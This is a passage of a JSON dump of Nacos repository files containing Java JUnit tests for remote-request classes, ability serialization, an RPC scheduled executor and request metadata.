}\n    \n    @Test\n    void testFutureTriggerDefaultMethod() {\n        final AtomicInteger callCount = new AtomicInteger(0);\n        DefaultRequestFuture.FutureTrigger mockTrigger = callCount::incrementAndGet;\n        assertEquals(0, callCount.get());\n        mockTrigger.triggerOnTimeout();\n        assertEquals(1, callCount.get());\n        mockTrigger.triggerOnCancel();\n        assertEquals(2, callCount.get());\n    }\n    \n    private class MockFutureTrigger implements DefaultRequestFuture.FutureTrigger {\n        \n        boolean isTimeout;\n        \n        boolean isCancel;\n        \n        @Override\n        public void defaultTrigger() {\n            // do nothing\n        }\n        \n        @Override\n        public void triggerOnTimeout() {\n            isTimeout = true;\n        }\n        \n        @Override\n        public void triggerOnCancel() {\n            isCancel = true;\n        }\n    }\n    \n    private class MockRequestCallback implements RequestCallBack<Response> {\n        \n        private final Executor executor;\n        \n        private final long timeout;\n        \n        private Response response;\n        \n        private Throwable exception;\n        \n        public MockRequestCallback(long timeout) {\n            this(null, timeout);\n        }\n        \n        public MockRequestCallback(Executor executor, long timeout) {\n            this.executor = executor;\n            this.timeout = timeout;\n        }\n        \n        @Override\n        public Executor getExecutor() {\n            return executor;\n        }\n        \n        @Override\n        public long getTimeout() {\n            return timeout;\n        }\n        \n        @Override\n        public void onResponse(Response response) {\n            this.response = response;\n        }\n        \n        @Override\n        public void onException(Throwable e) {\n            exception = e;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/RpcScheduledExecutorTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass RpcScheduledExecutorTest {\n    \n    private static final String NAME = \"test.rpc.thread\";\n    \n    Map<String, String> threadNameMap = new ConcurrentHashMap<>();\n    \n    @Test\n    void testRpcScheduledExecutor() throws InterruptedException {\n        RpcScheduledExecutor executor = new RpcScheduledExecutor(2, NAME);\n        CountDownLatch latch = new CountDownLatch(2);\n        executor.submit(new TestRunner(1, latch));\n        executor.submit(new TestRunner(2, latch));\n        boolean await = latch.await(1, TimeUnit.SECONDS);\n        assertTrue(await);\n        assertEquals(2, threadNameMap.size());\n    }\n    \n    private class TestRunner implements Runnable {\n        \n        int id;\n        \n        CountDownLatch latch;\n        \n        public TestRunner(int id, CountDownLatch latch) {\n            this.id = id;\n            this.latch = latch;\n        }\n        \n        @Override\n        public void run() {\n            threadNameMap.put(String.valueOf(id), Thread.currentThread().getName());\n            latch.countDown();\n        }\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/ability/ClientRemoteAbilityTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.ability;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientRemoteAbilityTest {\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        ClientRemoteAbility abilities = new ClientRemoteAbility();\n        String json = mapper.writeValueAsString(abilities);\n        assertEquals(\"{\\\"supportRemoteConnection\\\":false}\", json);\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"supportRemoteConnection\\\":true}\";\n        ClientRemoteAbility abilities = mapper.readValue(json, ClientRemoteAbility.class);\n        assertTrue(abilities.isSupportRemoteConnection());\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/ability/ServerRemoteAbilityTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.ability;\n\nimport com.alibaba.nacos.api.ability.ClientAbilities;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.MapperFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerRemoteAbilityTest {\n    \n    private static ObjectMapper mapper;\n    \n    private ServerRemoteAbility serverAbilities;\n    \n    @BeforeAll\n    static void setUpBeforeClass() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n        mapper.enable(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY);\n    }\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        serverAbilities = new ServerRemoteAbility();\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        serverAbilities = new ServerRemoteAbility();\n        String json = mapper.writeValueAsString(serverAbilities);\n        assertTrue(json.contains(\"\\\"supportRemoteConnection\\\":false\"));\n        assertTrue(json.contains(\"\\\"grpcReportEnabled\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"supportRemoteConnection\\\":true,\\\"grpcReportEnabled\\\":true}\";\n        ServerRemoteAbility abilities = mapper.readValue(json, ServerRemoteAbility.class);\n        assertTrue(abilities.isSupportRemoteConnection());\n        assertTrue(abilities.isGrpcReportEnabled());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        assertEquals(serverAbilities, serverAbilities);\n        assertEquals(serverAbilities.hashCode(), serverAbilities.hashCode());\n        assertNotEquals(null, serverAbilities);\n        assertNotEquals(serverAbilities, new ClientAbilities());\n        ServerRemoteAbility test = new ServerRemoteAbility();\n        assertEquals(serverAbilities, test);\n        assertEquals(serverAbilities.hashCode(), test.hashCode());\n        test.setSupportRemoteConnection(true);\n        assertNotEquals(serverAbilities, test);\n        assertNotEquals(serverAbilities.hashCode(), test.hashCode());\n        test.setSupportRemoteConnection(false);\n        test.setGrpcReportEnabled(false);\n        assertNotEquals(serverAbilities, test);\n        assertNotEquals(serverAbilities.hashCode(), test.hashCode());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/BasicRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\n\npublic abstract class BasicRequestTest {\n    \n    protected ObjectMapper mapper;\n    \n    @BeforeEach\n    public void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/ConnectResetRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConnectResetRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        ConnectResetRequest request = new ConnectResetRequest();\n        request.setServerIp(\"127.0.0.1\");\n        request.setServerPort(\"8888\");\n        request.setRequestId(\"1\");\n        request.setConnectionId(\"11111_127.0.0.1_8888\");\n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"serverIp\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"serverPort\\\":\\\"8888\\\"\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"internal\\\"\"));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"connectionId\\\":\\\"11111_127.0.0.1_8888\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"serverIp\\\":\\\"127.0.0.1\\\",\\\"serverPort\\\":\\\"8888\\\",\"\n                + \"\\\"module\\\":\\\"internal\\\",\\\"connectionId\\\":\\\"11111_127.0.0.1_8888\\\"}\";\n        ConnectResetRequest result = mapper.readValue(json, ConnectResetRequest.class);\n        assertNotNull(result);\n        assertEquals(\"127.0.0.1\", result.getServerIp());\n        assertEquals(\"8888\", result.getServerPort());\n        assertEquals(\"11111_127.0.0.1_8888\", result.getConnectionId());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/ConnectionSetupRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConnectionSetupRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        ConnectionSetupRequest request = new ConnectionSetupRequest();\n        request.setClientVersion(\"2.2.2\");\n        request.setAbilityTable(new HashMap<>());\n        request.setTenant(\"testNamespaceId\");\n        request.setLabels(Collections.singletonMap(\"labelKey\", \"labelValue\"));\n        request.setRequestId(\"1\");\n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"clientVersion\\\":\\\"2.2.2\\\"\"));\n        assertTrue(json.contains(\"\\\"tenant\\\":\\\"testNamespaceId\\\"\"));\n        assertTrue(json.contains(\"\\\"labels\\\":{\\\"labelKey\\\":\\\"labelValue\\\"}\"));\n        assertTrue(json.contains(\"\\\"abilityTable\\\":{\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"internal\\\"\"));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json =\n                \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"clientVersion\\\":\\\"2.2.2\\\",\\\"abilities\\\":{\\\"remoteAbility\\\":\"\n                        + \"{\\\"supportRemoteConnection\\\":false},\\\"configAbility\\\":{\\\"supportRemoteMetrics\\\":false},\"\n                        + \"\\\"namingAbility\\\":{\\\"supportDeltaPush\\\":false,\\\"supportRemoteMetric\\\":false}},\\\"tenant\\\":\\\"testNamespaceId\\\",\"\n                        + \"\\\"labels\\\":{\\\"labelKey\\\":\\\"labelValue\\\"},\\\"module\\\":\\\"internal\\\"}\";\n        ConnectionSetupRequest result = mapper.readValue(json, ConnectionSetupRequest.class);\n        assertNotNull(result);\n        assertEquals(\"2.2.2\", result.getClientVersion());\n        assertEquals(\"testNamespaceId\", result.getTenant());\n        assertEquals(1, result.getLabels().size());\n        assertEquals(\"labelValue\", result.getLabels().get(\"labelKey\"));\n        assertEquals(\"1\", result.getRequestId());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/EmptyContentRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass EmptyContentRequestTest extends BasicRequestTest {\n    \n    private static final String COMMON_JSON = \"{\\\"headers\\\":{\\\"clientIp\\\":\\\"1.1.1.1\\\"},\\\"requestId\\\":\\\"1\\\",\\\"module\\\":\\\"internal\\\"}\";\n    \n    private static final String TO_STRING = \"%s{headers={clientIp=1.1.1.1}, requestId='1'}\";\n    \n    @BeforeEach\n    public void setUp() throws Exception {\n        super.setUp();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testClientDetectionRequest() throws JsonProcessingException, InstantiationException, IllegalAccessException {\n        doTest(ClientDetectionRequest.class);\n    }\n    \n    @Test\n    void testHealthCheckRequest() throws JsonProcessingException, InstantiationException, IllegalAccessException {\n        doTest(HealthCheckRequest.class);\n    }\n    \n    @Test\n    void testServerCheckRequest() throws JsonProcessingException, InstantiationException, IllegalAccessException {\n        doTest(ServerCheckRequest.class);\n    }\n    \n    @Test\n    void testServerLoaderInfoRequest() throws JsonProcessingException, InstantiationException, IllegalAccessException {\n        doTest(ServerLoaderInfoRequest.class);\n    }\n    \n    private void doTest(Class<? extends Request> clazz)\n            throws IllegalAccessException, InstantiationException, JsonProcessingException {\n        Request request = clazz.newInstance();\n        request.setRequestId(\"1\");\n        request.putHeader(\"clientIp\", \"1.1.1.1\");\n        String actual = mapper.writeValueAsString(request);\n        assertCommonRequestJson(actual);\n        request = mapper.readValue(COMMON_JSON, ServerLoaderInfoRequest.class);\n        assertCommonRequest(request);\n    }\n    \n    private void assertCommonRequestJson(String actualJson) {\n        assertTrue(actualJson.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(actualJson.contains(\"\\\"module\\\":\\\"internal\\\"\"));\n        assertTrue(actualJson.contains(\"\\\"headers\\\":{\\\"clientIp\\\":\\\"1.1.1.1\\\"}\"));\n    }\n    \n    private void assertCommonRequest(Request request) {\n        assertEquals(\"1\", request.getRequestId());\n        assertEquals(\"internal\", request.getModule());\n        assertEquals(1, request.getHeaders().size());\n        assertEquals(\"1.1.1.1\", request.getHeader(\"clientIp\"));\n        assertEquals(String.format(TO_STRING, request.getClass().getSimpleName()), request.toString());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/PushAckRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PushAckRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        PushAckRequest request = PushAckRequest.build(\"1\", false);\n        request.setException(new NacosRuntimeException(500, \"test\"));\n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n        assertTrue(json.contains(\"\\\"exception\\\":{\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"internal\\\"\"));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"success\\\":false,\"\n                + \"\\\"exception\\\":{\\\"stackTrace\\\":[],\\\"errCode\\\":500,\\\"message\\\":\\\"errCode: 500, errMsg: test \\\",\"\n                + \"\\\"localizedMessage\\\":\\\"errCode: 500, errMsg: test \\\",\\\"suppressed\\\":[]},\\\"module\\\":\\\"internal\\\"}\";\n        PushAckRequest result = mapper.readValue(json, PushAckRequest.class);\n        assertNotNull(result);\n        assertFalse(result.isSuccess());\n        assertEquals(\"1\", result.getRequestId());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/RequestMetaTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.common.Constants;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass RequestMetaTest {\n    \n    private RequestMeta requestMeta;\n    \n    @BeforeEach\n    void setUp() {\n        requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        requestMeta.setClientVersion(\"1.0.0\");\n        requestMeta.setConnectionId(\"test-connection-id\");\n        Map<String, String> labels = new HashMap<>();\n        labels.put(\"env\", \"dev\");\n        requestMeta.setLabels(labels);\n    }\n    \n    @Test\n    void testGetClientIp() {\n        assertEquals(\"127.0.0.1\", requestMeta.getClientIp());\n    }\n    \n    @Test\n    void testGetClientVersion() {\n        assertEquals(\"1.0.0\", requestMeta.getClientVersion());\n    }\n    \n    @Test\n    void testGetConnectionId() {\n        assertEquals(\"test-connection-id\", requestMeta.getConnectionId());\n    }\n    \n    @Test\n    void testGetLabels() {\n        Map<String, String> labels = requestMeta.getLabels();\n        assertNotNull(labels);\n        assertEquals(1, labels.size());\n        assertEquals(\"dev\", labels.get(\"env\"));\n    }\n    \n    @Test\n    void testToString() {\n        String expected = \"RequestMeta{connectionId='test-connection-id', clientIp='127.0.0.1', clientVersion='1.0.0', labels={env=dev}}\";\n        assertEquals(expected, requestMeta.toString());\n    }\n    \n    @Test\n    void testGetConnectionAbilityForNonExist() {\n        assertEquals(AbilityStatus.UNKNOWN, requestMeta.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH));\n        requestMeta.setAbilityTable(Collections.emptyMap());\n        assertEquals(AbilityStatus.UNKNOWN, requestMeta.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH));\n    }\n    \n    @Test\n    void testGetConnectionAbilityForExist() {\n        requestMeta.setAbilityTable(Collections.singletonMap(AbilityKey.SERVER_FUZZY_WATCH.getName(), Boolean.FALSE));\n        assertEquals(AbilityStatus.NOT_SUPPORTED, requestMeta.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH));\n        requestMeta.setAbilityTable(Collections.singletonMap(AbilityKey.SERVER_FUZZY_WATCH.getName(), Boolean.TRUE));\n        assertEquals(AbilityStatus.SUPPORTED, requestMeta.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH));\n    }\n    \n    @Test\n    void testExtractAppLabels() {\n        Map<String, String> labels = new HashMap<>(requestMeta.getLabels());\n        labels.put(Constants.APP_CONN_PREFIX + \"testKey\", \"testValue\");\n        labels.put(Constants.APP_CONN_PREFIX + \"anotherKey\", \"anotherValue\");\n        labels.put(\"no_app_prefix_key\", \"aaa\");\n        requestMeta.setLabels(labels);\n        \n        Map<String, String> appLabels = requestMeta.getAppLabels();\n        assertNotNull(appLabels);\n        assertEquals(5, appLabels.size()); // appname, client_version_key, client_ip + 2 custom keys\n        assertEquals(\"testValue\", appLabels.get(\"testKey\"));\n        assertEquals(\"anotherValue\", appLabels.get(\"anotherKey\"));\n    }\n    \n    @Test\n    void testExtractAppLabelsEmptyAndBlankValues() {\n        Map<String, String> labels = new HashMap<>(requestMeta.getLabels());\n        // This should not be included - no value after prefix\n        labels.put(Constants.APP_CONN_PREFIX, \"value\");\n        // This should not be included - blank value\n        labels.put(Constants.APP_CONN_PREFIX + \"blankValue\", \"   \");\n        // This should not be included - empty value\n        labels.put(Constants.APP_CONN_PREFIX + \"emptyValue\", \"\");\n        // This should be included\n        labels.put(Constants.APP_CONN_PREFIX + \"validKey\", \"validValue\");\n        \n        requestMeta.setLabels(labels);\n        \n        Map<String, String> appLabels = requestMeta.getAppLabels();\n        assertNotNull(appLabels);\n        assertEquals(4, appLabels.size()); // appname, client_version_key, client_ip + 1 valid custom key\n        assertEquals(\"validValue\", appLabels.get(\"validKey\"));\n        assertTrue(appLabels.containsKey(\"validKey\"));\n        // Keys with blank or empty values should not be included\n        assertFalse(appLabels.containsKey(\"blankValue\"));\n        assertFalse(appLabels.containsKey(\"emptyValue\"));\n        assertFalse(appLabels.containsKey(\"\")); // key with just prefix\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/RequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass RequestTest {\n    \n    @BeforeEach\n    void setUp() throws Exception {\n    }\n    \n    @Test\n    void testHeader() {\n        MockRequest request = new MockRequest();\n        assertTrue(request.getHeaders().isEmpty());\n        assertNull(request.getHeader(\"clientIp\"));\n        assertEquals(\"1.1.1.1\", request.getHeader(\"clientIp\", \"1.1.1.1\"));\n        \n        request.putHeader(\"clientIp\", \"2.2.2.2\");\n        assertEquals(1, request.getHeaders().size());\n        assertEquals(\"2.2.2.2\", request.getHeader(\"clientIp\"));\n        assertEquals(\"2.2.2.2\", request.getHeader(\"clientIp\", \"1.1.1.1\"));\n        \n        request.putAllHeader(Collections.singletonMap(\"connectionId\", \"aaa\"));\n        assertEquals(2, request.getHeaders().size());\n        request.putAllHeader(null);\n        assertEquals(2, request.getHeaders().size());\n        \n        request.clearHeaders();\n        assertTrue(request.getHeaders().isEmpty());\n    }\n    \n    private static class MockRequest extends Request {\n        \n        @Override\n        public String getModule() {\n            return \"mock\";\n        }\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/ServerReloadRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerReloadRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        ServerReloadRequest request = new ServerReloadRequest();\n        request.setReloadCount(10);\n        request.setReloadServer(\"1.1.1.1\");\n        request.setRequestId(\"1\");\n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"reloadCount\\\":10\"));\n        assertTrue(json.contains(\"\\\"reloadServer\\\":\\\"1.1.1.1\\\"\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"internal\\\"\"));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"reloadCount\\\":10,\\\"reloadServer\\\":\\\"1.1.1.1\\\",\"\n                + \"\\\"module\\\":\\\"internal\\\"}\";\n        ServerReloadRequest result = mapper.readValue(json, ServerReloadRequest.class);\n        assertNotNull(result);\n        assertEquals(10, result.getReloadCount());\n        assertEquals(\"1.1.1.1\", result.getReloadServer());\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(\"internal\", result.getModule());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/remote/request/SetupAckRequestTest.java",
